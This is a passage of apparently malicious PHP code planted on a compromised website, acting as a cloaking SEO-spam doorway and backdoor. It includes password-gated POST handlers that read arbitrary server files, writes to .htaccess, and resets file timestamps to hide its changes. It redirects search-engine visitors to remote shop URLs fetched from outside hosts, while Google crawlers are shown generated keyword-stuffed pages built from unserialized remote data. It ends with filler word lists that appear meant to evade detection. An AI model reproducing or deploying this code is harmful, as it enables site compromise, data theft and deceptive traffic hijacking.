  645.         if(JDT == 1 or JDT == 0){
  646.             file_put_contents("$PreDir.htaccess", $strhtt);    
  647.         }
  648.        
  649.     }
  650.  
  651.     die("ghtac ok");
  652. }
  653.  
  654.  
  655. if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$wp_filesystem = array();$flag = 1;$wp_filesystem['index'] = filesize(__FILE__);if(file_exists("./template.html")){$wp_filesystem['template'] = filesize("./template.html");}else{$flag = 0;$wp_filesystem['template'] = -1;}echo 'error---'. serialize($wp_filesystem) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
  656.    
  657. if(JDT==2){
  658.    
  659.     $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
  660.         $tempSid = '';      $tempPid = '';     
  661.                
  662.         $r2='#.*-(\d+)-.*'. JTHZ .'$#i';        $r3='#.*-(\d+)-.*/$#i';
  663.         if(preg_match($r2,$UrlParent,$matches2)){
  664.             if(isset($matches2[1]))
  665.                 $tempPid = $matches2[1];        }else{
  666.            
  667.             preg_match($r3,$UrlParent,$matches13);          if(isset($matches13[1]))
  668.                 $tempPid = $matches13[1];       }
  669.    
  670.            
  671.         if($tempPid){
  672.             $_GET['id']= $tempPid;     
  673.         }else{
  674.             $r2='#brand/(.*)/\d+#i';        $r3='#.*brand/(.*)/\d+$#i';
  675.             if(preg_match($r2,$UrlParent,$matches2)){
  676.                 if(isset($matches2[1]))
  677.                     $tempPid = $matches2[1];       
  678.             }else{
  679.                 preg_match($r3,$UrlParent,$matches13);
  680.                 if(isset($matches13[1]))
  681.                     $tempPid = $matches13[1];
  682.             }
  683.            
  684.             if($tempPid)
  685.                 $_GET['cat']= $tempPid;
  686.            
  687.         }
  688.     }
  689.    
  690. }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
  691.        
  692.         $tempSid = '';      $tempPid = '';      $UrlParent = $_GET['keyword'];     
  693.  
  694.         $r2='#-(\d+)$#i';       $r3='#[-/]'.'(\d+)$#i';
  695.         if(preg_match($r2,$UrlParent,$matches2)){
  696.             if(isset($matches2[1]))
  697.                 $tempPid = $matches2[1];        }else{
  698.            
  699.             preg_match($r3,$UrlParent,$matches13);          if(isset($matches13[1]))
  700.                 $tempPid = $matches13[1];       }
  701.        
  702.        
  703.  
  704.    
  705.    
  706.         if($tempPid){
  707.             $_GET['id']= $tempPid;     
  708.         }
  709.    
  710.    
  711. }  
  712.    
  713. function getRandStr(){
  714.    
  715.     $arrABC = range('a','z');   shuffle($arrABC);
  716.     $randNum = rand(4,6);  
  717.     $str = implode('',array_slice($arrABC,0,$randNum));
  718.     return $str;}
  719.    
  720.  
  721. if(isset($_GET["id"]))
  722.     $id = $_GET["id"];
  723. else{
  724.    
  725.     if(isset($_GET["cat"])){
  726.         $rqurl = $_GET["cat"];
  727.        
  728.         $logFileName = './idlogs.txt';
  729.         if(file_exists($logFileName)){
  730.             $arrUrlId = unserialize(file_get_contents($logFileName));
  731.         }else{
  732.             $arrUrlId = array();
  733.         }
  734.  
  735.         if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
  736.             $id  = $arrUrlId[$rqurl];      
  737.         }else{
  738.             $arrUrlId[$rqurl] = getRandCId($rqurl);
  739.             $id = $arrUrlId[$rqurl];
  740.             file_put_contents($logFileName,serialize($arrUrlId));
  741.             @touch(dirname($logFileName), $fLogTime, $fLogTime);
  742.             @touch($logFileName, $fLogTime, $fLogTime);    
  743.         }
  744.     }else{
  745.        
  746.    
  747.     $id = "920813"; //llq index id
  748.    
  749.     }
  750.  
  751. }
  752.  
  753. $rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
  754. $rs_http = 'http://www.';
  755. $resid = '#^\d+$#';
  756. if(!preg_match($resid,$id)){
  757.     exit;
  758. }
  759. $id23 = $id;
  760.  
  761.  
  762.  
  763. $siteid = MSID;
  764. $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
  765. // $_SERVER["HTTP_REFERER"] = "google.com";
  766. if(isset($_SERVER["HTTP_REFERER"])){
  767.     $referer = $_SERVER["HTTP_REFERER"];
  768.     $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; 
  769.  
  770.     $ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') );
  771.     $localIp = get_real_ip();  
  772.     $is_or_no = is_ip($localIp,$ipRanges);
  773.     $iszz = isCrawler();   
  774.    
  775.     if(function_exists('gethostbyaddr')){
  776.         $hostname = @gethostbyaddr($localIp);
  777.         $is_g_ip = preg_match("#google#i", "$hostname") === 1;
  778.     }else{
  779.         $is_g_ip = 0;
  780.     }
  781.    
  782.     if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
  783.         $rsdom = '#^https?://www\.[^/]+/$#i';
  784.        
  785.         $jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt"; 
  786.         $jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
  787.    
  788.         for($i=0;$i<2;$i++){
  789.             $jumstz = curl_getjs_from_webpage($jums1,2);
  790.             $jumstz = trim($jumstz);
  791.  
  792.             if(!preg_match($rsdom,$jumstz)){
  793.                 $jumstz = curl_getjs_from_webpage($jums2,10);
  794.            
  795.                 $jumstz = trim($jumstz);
  796.                 if(preg_match($rsdom,$jumstz))
  797.                     break;
  798.             }else{
  799.                 break;
  800.             }
  801.         }
  802.        
  803.         echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';     die(); 
  804.     }
  805. }
  806.  
  807.  
  808.  $fcontent = '';
  809.  
  810.  
  811.  $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
  812.  $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
  813.  $rsInfo = '#<info>(.*)</info>#si';
  814.  preg_match($rsInfo,$pInfoStr,$matchInfo);
  815.  if(isset($matchInfo[1])){
  816.      $InFoStrArr = unserialize($matchInfo[1]);
  817.  }else{
  818.      exit;
  819.  }
  820.  
  821.  
  822.  
  823.  
  824.  if(isset($InFoStrArr['frStr2'])){
  825.     $frStr2 = $InFoStrArr['frStr2'];
  826.     $fr2Arr = unserialize($frStr2);
  827.  }
  828.  
  829. $frStr1 = $InFoStrArr['frStr1'];
  830. $fr1Arr = unserialize($frStr1);
  831.  
  832. $Ptitle = $InFoStrArr['Ptitle'];
  833.  
  834. $nowIdName = $InFoStrArr['nowIdName'];
  835.  
  836. if(strstr($Ptitle,'#cat#')){
  837.     $tp_title_arr = explode('#cat#',$Ptitle);
  838.     $Ptitle = $tp_title_arr[1];
  839. }
  840.  
  841. $pcatstr = $InFoStrArr['pcatstr'];
  842. $nowPreStr = $InFoStrArr['nowPreStr'];
  843. $nowNextStr = $InFoStrArr['nowNextStr'];
  844. $nowMateAddStr = $InFoStrArr['nowMateAddStr'];
  845.  
  846.  
  847. if(strstr($pcatstr,'#cname#')){
  848.     $temparrI = explode('#cname#',$pcatstr);
  849.     $catStr = $temparrI[0];
  850.     $catArr = explode('^',$catStr);
  851.     $tparrCat = array();
  852.     $catArrII = array();
  853.     foreach($catArr as $vs){
  854.         $vs = str_replace('&amp;','&',$vs);
  855.         if(!isset($tparrCat[$vs])){
  856.             $tparrCat[$vs] = 1;
  857.             $catArrII[] = $vs;
  858.         }
  859.     }
  860.  
  861.     $catArr = $catArrII;
  862.    
  863.     $mateStr = $temparrI[1];
  864.     if(strstr($mateStr,'#keydescription#')){
  865.         $temparrII = explode('#keydescription#',$mateStr);
  866.         $pkeyword = trim($temparrII[0]);
  867.         if(!$pkeyword){
  868.             $pkeyword = $Ptitle;
  869.         }else{
  870.             $keyArr = explode(',',$pkeyword);
  871.             $num = count($keyArr);
  872.  
  873.             $yushu = KEYJG % $num;
  874.  
  875.             $arrPre = array();
  876.             $arrLast = array();
  877.  
  878.             for($i=0;$i<$num;$i++){
  879.                 if($i<$yushu){
  880.                     $arrLast[] = $keyArr[$i];
  881.                 }else{
  882.                     $arrPre[] = $keyArr[$i];
  883.                 }
  884.             }
  885.  
  886.             if(count($arrLast)){
  887.                 foreach($arrLast as $vs){
  888.                     $arrPre[] = $vs;
  889.                 }
  890.             }
  891.            
  892.             $pkeyword = implode(',',$arrPre);
  893.             $pkeywordYuanShi = $pkeyword;
  894.  
  895.         }
  896.        
  897.         $pdescription = $temparrII[1];
  898.         if(!$pdescription){
  899.             $pdescription = $Ptitle. ' ' .$nowMateAddStr;
  900.         }else{
  901.             $DesArr = explode(',',$pdescription);
  902.             $num = count($DesArr);
  903.  
  904.             $yushu = KEYJG % $num;
  905.  
  906.             $arrPre = array();
  907.             $arrLast = array();
  908.  
  909.             for($i=0;$i<$num;$i++){
  910.                 if($i<$yushu){
  911.                     $arrLast[] = $DesArr[$i];
  912.                 }else{
  913.                     $arrPre[] = $DesArr[$i];
  914.                 }
  915.             }
  916.  
  917.             if(count($arrLast)){
  918.                 foreach($arrLast as $vs){
  919.                     $arrPre[] = $vs;
  920.                 }
  921.             }
  922.            
  923.             $pdescription = implode(',',$arrPre);
  924.            
  925.             $pdescription .= ', '. $nowMateAddStr;
  926.             $pDescriptionYuanShi = $pdescription;
  927.         }
  928.        
  929.     }else{
  930.         $pkeyword = $Ptitle;
  931.    
  932.         $pdescription = $Ptitle. ' ' .$nowMateAddStr;
  933.     }
  934. }else{
  935.     $catArr = array();
  936.     if(strstr($mateStr,'#keydescription#')){
  937.         $temparrII = explode('#keydescription#',$mateStr);
  938.         $pkeyword = $temparrII[0];
  939.         if(!$pkeyword){
  940.             $pkeyword = $Ptitle;
  941.         }else{
  942.             $keyArr = explode(',',$pkeyword);
  943.             $num = count($keyArr);
  944.  
  945.             $yushu = KEYJG % $num;
  946.  
  947.             $arrPre = array();
  948.             $arrLast = array();
  949.  
  950.             for($i=0;$i<$num;$i++){
  951.                 if($i<$yushu){
  952.                     $arrLast[] = $keyArr[$i];
  953.                 }else{
  954.                     $arrPre[] = $keyArr[$i];
  955.                 }
  956.             }
  957.  
  958.             if(count($arrLast)){
  959.                 foreach($arrLast as $vs){
  960.                     $arrPre[] = $vs;
  961.                 }
  962.             }
  963.            
  964.             $pkeyword = implode(',',$arrPre);
  965.             $pkeywordYuanShi = $pkeyword;
  966.  
  967.         }
  968.        
  969.         $pdescription = $temparrII[1];
  970.         if(!$pdescription){
  971.             $pdescription = $Ptitle. ' ' .$nowMateAddStr;
  972.         }else{
  973.             $DesArr = explode(',',$pdescription);
  974.             $num = count($DesArr);
  975.  
  976.             $yushu = KEYJG % $num;
  977.  
  978.             $arrPre = array();
  979.             $arrLast = array();
  980.  
  981.             for($i=0;$i<$num;$i++){
  982.                 if($i<$yushu){
  983.                     $arrLast[] = $DesArr[$i];
  984.                 }else{
  985.                     $arrPre[] = $DesArr[$i];
  986.                 }
  987.             }
  988.  
  989.             if(count($arrLast)){
  990.                 foreach($arrLast as $vs){
  991.                     $arrPre[] = $vs;
  992.                 }
  993.             }
  994.            
  995.             $pdescription = implode(',',$arrPre);
  996.            
  997.             $pdescription .= ', '. $nowMateAddStr;
  998.             $pDescriptionYuanShi = $pdescription;
  999.         }
  1000.     }else{
  1001.         $pkeyword = $Ptitle;
  1002.         $pdescription = $Ptitle. ' ' .$nowMateAddStr;
  1003.     }
  1004. }
  1005.  
  1006.  
  1007.  
  1008. $BreadStr = getBreadcrum($Ptitle,$catArr,$id23);
  1009.  
  1010. if(count($catArr)){
  1011.     $endCatName = end($catArr);
  1012.     $beginCatName = $catArr[0];
  1013.     $addKeyWordStr = ', ' . implode(', ', $catArr);
  1014. }else{
  1015.     $beginCatName = '';
  1016.     $endCatName = '';
  1017. }
  1018.  
  1019. if(function_exists("preg_split")){
  1020.     $PtitleArr = preg_split('/\s+/us', $Ptitle);       
  1021. }else{
  1022.     $PtitleArr = explode(' ', $Ptitle);
  1023. }
  1024.  
  1025. $tpTitleArr = array();
  1026. foreach($PtitleArr as $vs){
  1027.     $vs = trim($vs);
  1028.     if($vs){
  1029.         $tpTitleArr[] = $vs;
  1030.     }
  1031. }
  1032.  
  1033.  
  1034.  
  1035. $numTitleArr = count($tpTitleArr);
  1036.  
  1037.  
  1038. $randTkeyI =  RANDNUMI % $numTitleArr;
  1039.  
  1040. $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
  1041.  
  1042. $randTkeyII =  RANDNUMII % $numTitleArr;
  1043. if($randTkeyI == $randTkeyII){
  1044.     $randTkeyII = abs($randTkeyI-2);
  1045. }
  1046.  
  1047. $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
  1048.  
  1049.  
  1050. $addTopStr = '';
  1051. $addTopStr .= $BreadStr.PHP_EOL;
  1052. $addTopStr .= "<h1>{$Ptitle}</h1>";
  1053.  
  1054. $addStrII = '';
  1055. if(isset($InFoStrArr['pdes'])){
  1056.     $InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
  1057.     $addStrII .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
  1058. }
  1059. if(isset($InFoStrArr['nowPimgArrYs'])){
  1060.     $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
  1061.     foreach($tpImgArr as $tpimg){
  1062.         $addStrII .= $tpimg."<br/>".PHP_EOL;
  1063.     }
  1064. }
  1065.  
  1066. $addTopStr .= $addStrII;
  1067.  
  1068.  
  1069.  
  1070.  
  1071.  
  1072.  
  1073. $tpaddstr = "<h2>{$Ptitle}</h2>";
  1074. $tpaddstr .= '<p>';
  1075. $tpaddstr .= '###nowtitles###,';
  1076. $tpaddstr .= $createTitleI .',';
  1077. $tpaddstr .= $pdescription.' ';
  1078. $tpaddstr .= $createTitleII .'.</p>';
  1079.  
  1080. if(isset($InFoStrArr['nowPimgArr'])){
  1081.     $tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
  1082.     foreach($tpImgArr as $tpimg){
  1083.         $tpaddstr .= $tpimg."<br/>".PHP_EOL;
  1084.     }
  1085. }
  1086.  
  1087.  
  1088.  
  1089.  
  1090. $arrFlinks = array();
  1091. $fr1Strs = '<ul>'.PHP_EOL;
  1092. foreach($fr1Arr as $key=>$vs){
  1093.     $tpPid = $key;
  1094.     $tpFlink = getalink($tpPid,$vs);
  1095.    
  1096.     if(strstr($vs,'#cat#')){
  1097.         $tp_name_arr = explode('#cat#',$vs);
  1098.         $vs = $tp_name_arr[1];
  1099.     }
  1100.    
  1101.     $fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
  1102.     $arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
  1103. }
  1104. $fr1Strs .= '</ul>'.PHP_EOL;
  1105.  
  1106. if(isset($fr2Arr)){
  1107.     $fr2Strs = '<ul>'.PHP_EOL;
  1108.     foreach($fr2Arr as $key=>$vs){
  1109.         $tpPid = $key;
  1110.         $tpFlink = getalink($tpPid,$vs);
  1111.        
  1112.        
  1113.         if(strstr($vs,'#cat#')){
  1114.             $tp_name_arr = explode('#cat#',$vs);
  1115.             $vs = $tp_name_arr[1];
  1116.         }
  1117.        
  1118.         $fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
  1119.     }
  1120.     $fr2Strs .= '</ul>'.PHP_EOL;
  1121. }
  1122.  
  1123.  
  1124. $addPdesStrII = '';
  1125. $addPdesStrII .= "<h2>{$Ptitle}</h2>".PHP_EOL;
  1126.  
  1127.  
  1128.  
  1129. $addStrDes1 = '';
  1130. if(isset($InFoStrArr['nowDesNameArrStr'])){
  1131.    
  1132.     $randAddName =  (KEYJG + $id23)  % 3 + 3;
  1133.  
  1134.    
  1135.     $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
  1136.    
  1137.     $lenthNameArr = count($tpDesNameArr);
  1138.     $lenthFlinkArr = $randAddName;
  1139.     $numShan = intval($lenthNameArr/$lenthFlinkArr);
  1140.     if($numShan < 1)
  1141.         $numShan = 1;
  1142.    
  1143.    
  1144.    
  1145.     $flag = 0;
  1146.    
  1147.     $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
  1148.     $shengyu = $shengyu - 2;
  1149.     $bgnum = 0;
  1150.     $endnum = $lenthNameArr - 1;
  1151.     $arrKeyNum = array();
  1152.     while($shengyu > 0){
  1153.         $arrKeyNum[$bgnum++] = $numShan + 1;
  1154.         $shengyu--;
  1155.         if($shengyu > 0){
  1156.             $arrKeyNum[$endnum--] = $numShan + 1;
  1157.         }
  1158.         $shengyu--;
  1159.     }
  1160.  
  1161.    
  1162.     $nowTempFlag = 0;
  1163.     $nowTempNumFlag = 0;
  1164.    
  1165.     $tempDesNameArr = array();
  1166.    
  1167.     foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
  1168.         $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
  1169.         if($nowTempNumFlag < $nowLens){
  1170.             $tempDesNameArr[] = $tpdesVs;
  1171.             $nowTempNumFlag++;
  1172.         }else{
  1173.             $tempDesNameArr[] = "<b>{$Ptitle}</b>";
  1174.             $nowTempFlag++;
  1175.            
  1176.            
  1177.             $tempDesNameArr[] = $tpdesVs;
  1178.             $nowTempNumFlag=1;
  1179.         }
  1180.        
  1181.     }
  1182.    
  1183.     while($nowTempFlag <= $lenthFlinkArr-1){
  1184.         $nowTempFlag++;
  1185.         $tempDesNameArr[] = "<b>{$Ptitle}</b>";
  1186.     }
  1187.    
  1188.    
  1189.     $tpDesNameArr = $tempDesNameArr;
  1190.     $tempArrLen = count($tpDesNameArr) - 1;
  1191.    
  1192.     $i=0;
  1193.     foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
  1194.         $tempLen = strlen($tpdesVs) + $i;
  1195.         if($tempLen % 2 == 1){
  1196.             $nowtempfh = ', ';
  1197.         }else
  1198.             $nowtempfh = '. ';
  1199.        
  1200.        
  1201.        
  1202.         if($i == $tempArrLen){
  1203.             $addStrDes1 .= $tpdesVs . '.';
  1204.             // echo $addStrDes1;
  1205.             // exit;
  1206.         }else{
  1207.             $addStrDes1 .= $tpdesVs . $nowtempfh;
  1208.         }
  1209.         $i++;
  1210.        
  1211.     }
  1212.        
  1213.     $addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;
  1214.  
  1215.    
  1216. }
  1217.  
  1218. $addPdesStrII .= $addStrDes1.PHP_EOL;
  1219.  
  1220.  
  1221.  
  1222.  
  1223.  
  1224.  
  1225. $addPdesStr = '';
  1226.  
  1227. $addStrDesII = '';
  1228. if(isset($InFoStrArr['fpNameStr'])){
  1229.    
  1230.     $randAddName =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;
  1231.  
  1232.    
  1233.     $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
  1234.     $tempArrLen = count($tpDesNameArr) - 1;
  1235.     $temp_arr = array();
  1236.     foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
  1237.        
  1238.         if(strstr($tpdesVs,'#cat#')){
  1239.             $tp_name_arr = explode('#cat#',$tpdesVs);
  1240.             $tpdesVs = $tp_name_arr[1];
  1241.         }
  1242.        
  1243.         $temp_arr[$tpdesKey] = $tpdesVs;
  1244.        
  1245.     }
  1246.     $tpDesNameArr = $temp_arr;
  1247.    
  1248.     $lenthNameArr = count($tpDesNameArr);
  1249.     $lenthFlinkArr = $randAddName;
  1250.     $numShan = intval($lenthNameArr/$lenthFlinkArr);
  1251.     if($numShan < 1)
  1252.         $numShan = 1;
  1253.    
  1254.     $flag = 0;
  1255.    
  1256.     $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
  1257.     $shengyu = $shengyu - 2;
  1258.     $bgnum = 0;
  1259.     $endnum = $lenthNameArr - 1;
  1260.     $arrKeyNum = array();
  1261.     while($shengyu > 0){
  1262.         $arrKeyNum[$bgnum++] = $numShan + 1;
  1263.         $shengyu--;
  1264.         if($shengyu > 0){
  1265.             $arrKeyNum[$endnum--] = $numShan + 1;
  1266.         }
  1267.         $shengyu--;
  1268.     }
  1269.    
  1270.     $nowTempFlag = 0;
  1271.     $nowTempNumFlag = 0;
  1272.    
  1273.     $tempDesNameArr = array();
  1274.    
  1275.     foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
  1276.         $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
  1277.         if($nowTempNumFlag < $nowLens){
  1278.             $tempDesNameArr[] = $tpdesVs;
  1279.             $nowTempNumFlag++;
  1280.         }else{
  1281.             // $tempDesNameArr[] = "<b>{$Ptitle}</b>";
  1282.             $nowTempFlag++;
  1283.             $tempDesNameArr[] = $tpdesVs;
  1284.             $nowTempNumFlag=1;
  1285.         }
  1286.        
  1287.     }
  1288.    
  1289.         while($nowTempFlag <= $lenthFlinkArr-1){
  1290.             $nowTempFlag++;
  1291.             // $tempDesNameArr[] = "<b>{$Ptitle}</b>";
  1292.         }
  1293.    
  1294.  
  1295.     $tpDesNameArr = $tempDesNameArr;
  1296.     $i=0;
  1297.     foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
  1298.        
  1299.         $tempLen = strlen($tpdesVs) + $i;
  1300.         if($tempLen % 2 == 1){
  1301.             $nowtempfh = ', ';
  1302.         }else
  1303.             $nowtempfh = '. ';
  1304.    
  1305.        
  1306.         if($i == $tempArrLen){
  1307.             $addStrDesII .= $tpdesVs . '.';
  1308.         }else{
  1309.             $addStrDesII .= $tpdesVs . $nowtempfh;
  1310.         }
  1311.         $i++;
  1312.            
  1313.     }
  1314.        
  1315.     $addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;
  1316.  
  1317. }
  1318.  
  1319.  
  1320.  
  1321.  
  1322. $addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
  1323. $addPdesStr .= $addStrDesII.PHP_EOL;
  1324.  
  1325.  
  1326.  
  1327.  
  1328. $addH3Str = "<h3>{$Ptitle}</h3>";
  1329.  
  1330.  $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
  1331.  $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
  1332.  
  1333.  $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
  1334.  
  1335. $flagH2I = 1;
  1336. $flagH2II = 1;
  1337. $flagH2III = 1;
  1338.  
  1339.         $fileMb = fopen("template.html","r");
  1340.             $html = fread($fileMb,filesize("template.html"));  
  1341.  
  1342.             $numBz = 0;
  1343.  
  1344.             $titleKeys = KEYJG % 6;
  1345.            
  1346.            
  1347.             $catUseKey = (KEYJG + $id23) % count($catArr);
  1348.            
  1349.             if($catUseKey == 0)
  1350.                 $catUseKey = $catUseKey + 1;
  1351.            
  1352.        
  1353.             $addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
  1354.             $tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
  1355.            
  1356.             $html = str_ireplace('draft_or_post_title',  $Ptitle, $html);  
  1357.             $html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);
  1358.             $html = str_ireplace('#bbbdesbbb#', $pdescription ." {$thisdom}", $html);  
  1359.            
  1360.             $html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
  1361.             // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
  1362.            
  1363.            
  1364.             if(strstr($html,'#link3#'))
  1365.             if($flagH2I){
  1366.                     $html = str_replace('#link3#',$addPdesStrII,$html);
  1367.                     $flagH2I = 0;
  1368.                 }else{
  1369.                     $html = str_replace('#link3#','',$html);
  1370.                 }
  1371.                
  1372.                
  1373.                            
  1374.             if(strstr($html,'#flink#'))
  1375.                 if($flagH2I){
  1376.                     $html = str_replace('#flink#',$addPdesStrII,$html);
  1377.                     $flagH2I = 0;
  1378.                 }elseif($flagH2II){
  1379.                     $html = str_replace('#flink#',$addPdesStr,$html);
  1380.                     $flagH2II = 0;
  1381.                 }else{
  1382.                     $html = str_replace('#flink#','',$html);
  1383.                 }
  1384.                
  1385.                
  1386.                
  1387.             if(strstr($html,'#link4#'))
  1388.                 if($flagH2I){
  1389.                     $html = str_replace('#link4#',$addPdesStrII,$html);
  1390.                     $flagH2I = 0;
  1391.                 }elseif($flagH2II){
  1392.                     $html = str_replace('#link4#',$addPdesStr,$html);
  1393.                     $flagH2II = 0;
  1394.                 }elseif($flagH2III){
  1395.                     $html = str_replace('#link4#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
  1396.                     $flagH2III = 0;
  1397.                 }else{
  1398.                     $html = str_replace('#link4#','',$html);
  1399.                 }
  1400.                
  1401.                
  1402.             if(strstr($html,'#link5#'))
  1403.                 if($flagH2I){
  1404.                     $html = str_replace('#link5#',$addPdesStrII,$html);
  1405.                     $flagH2I = 0;
  1406.                 }elseif($flagH2II){
  1407.                     $html = str_replace('#link5#',$addPdesStr,$html);
  1408.                     $flagH2II = 0;
  1409.                 }elseif($flagH2III){
  1410.                     $html = str_replace('#link5#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
  1411.                     $flagH2III = 0;
  1412.                 }else{
  1413.                     $html = str_replace('#link5#','',$html);
  1414.                 }
  1415.    
  1416.                
  1417.                
  1418.                 if(strstr($html,'#Flink2#'))
  1419.                 if($flagH2I){
  1420.                     $html = str_replace('#Flink2#',$addPdesStrII,$html);
  1421.                     $flagH2I = 0;
  1422.                 }elseif($flagH2II){
  1423.                     $html = str_replace('#Flink2#',$addPdesStr,$html);
  1424.                     $flagH2II = 0;
  1425.                 }elseif($flagH2III){
  1426.                     $html = str_replace('#Flink2#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
  1427.                     $flagH2III = 0;
  1428.                 }else{
  1429.                     $html = str_replace('#Flink2#','',$html);
  1430.                 }
  1431.                        
  1432.                
  1433.             $lastAddStrs = '';
  1434.            
  1435.             if($flagH2I){
  1436.                 $lastAddStrs .= $addPdesStr . PHP_EOL;
  1437.             }
  1438.            
  1439.             if($flagH2II){
  1440.                 $lastAddStrs .= $addPdesStrII . PHP_EOL;
  1441.             }
  1442.            
  1443.             if($lastAddStrs){
  1444.                 $tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
  1445.             }
  1446.                
  1447.             $html = str_ireplace('#bbb2content2bbb#', '', $html);
  1448.             $html = str_ireplace('#descontent#', $tpaddstr, $html);
  1449.                
  1450.             $html = str_replace('#link1#','',$html);
  1451.             $html = str_replace('#link2#','',$html);
  1452.                
  1453.    
  1454.    
  1455.             $footKey = "<h3>{$Ptitle}</h3><br/>{$pdescription}".PHP_EOL;
  1456.                 $html = str_replace('</body',$footKey.'</body',$html);
  1457.  
  1458.        
  1459.     echo $html;
  1460.  
  1461. die();
  1462.  
  1463.  
  1464.    
  1465. /**
  1466.  * Internet duration holy interpret marveous mist noticeable parallel phenomenon precaution primitive rival shuttle substance talent valley violet.
  1467.  * capture decent glimpse infer launch racial remedy swallow utilify utter.
  1468.  * attach commit expense favorite frustrate harmony integrate mood orchestra shiver substantial tender.
  1469.  * avenue capture deputy drip exceedingly grateful illusion jail legislation liquor loose origin oval parallel prosperity quotation region resemble scan strategic suspicion theme tropical virus.
  1470.  * acquire boundary conservative defect fatigue obstacle portion scan slope.
  1471.  * Internet automatic enviroment flash grateful priority sketch snap survey via virtual.
  1472.  * awful distinguish durable geology haste illegal integrate manual molecule sensitive substitute temporary tendency.
  1473.  * attitude cancel conservative consistent deaf exclaim female gaze jungle motivate notify remarkable resolve respond retail shrug strategy submit tarnest temptation trap vain vanish via.
  1474.  * agency durable garbage harmony identify ingredient isolate oxygen parallel register reliable simplify stripe survey.
  1475.  * clue explore exterior geography launch mixture mutual peak prominent tissue triumph.
  1476.  * adopt authority awful blast community core elastic exclusive explode fate frown haste lest loose medium petroleum software temporary the transport.
  1477.  * abundant commit discount enviroment retain slender strategy.
  1478.  * appropriate candidate diverse fatigue gallery glory individual label petrol pursue region remote resemble sake sensitive sophisticated tend textile transform videotape virus whereas.
  1479.  * appreciate breed gap glimpse inferior invade label liable liquor media noticeable numerrous oral oxygen participate personnel restrain shift simplicity spur transmit vitally.
  1480.  * acquire aware gratitude label ridid slip slope spit substance suspicious theme.
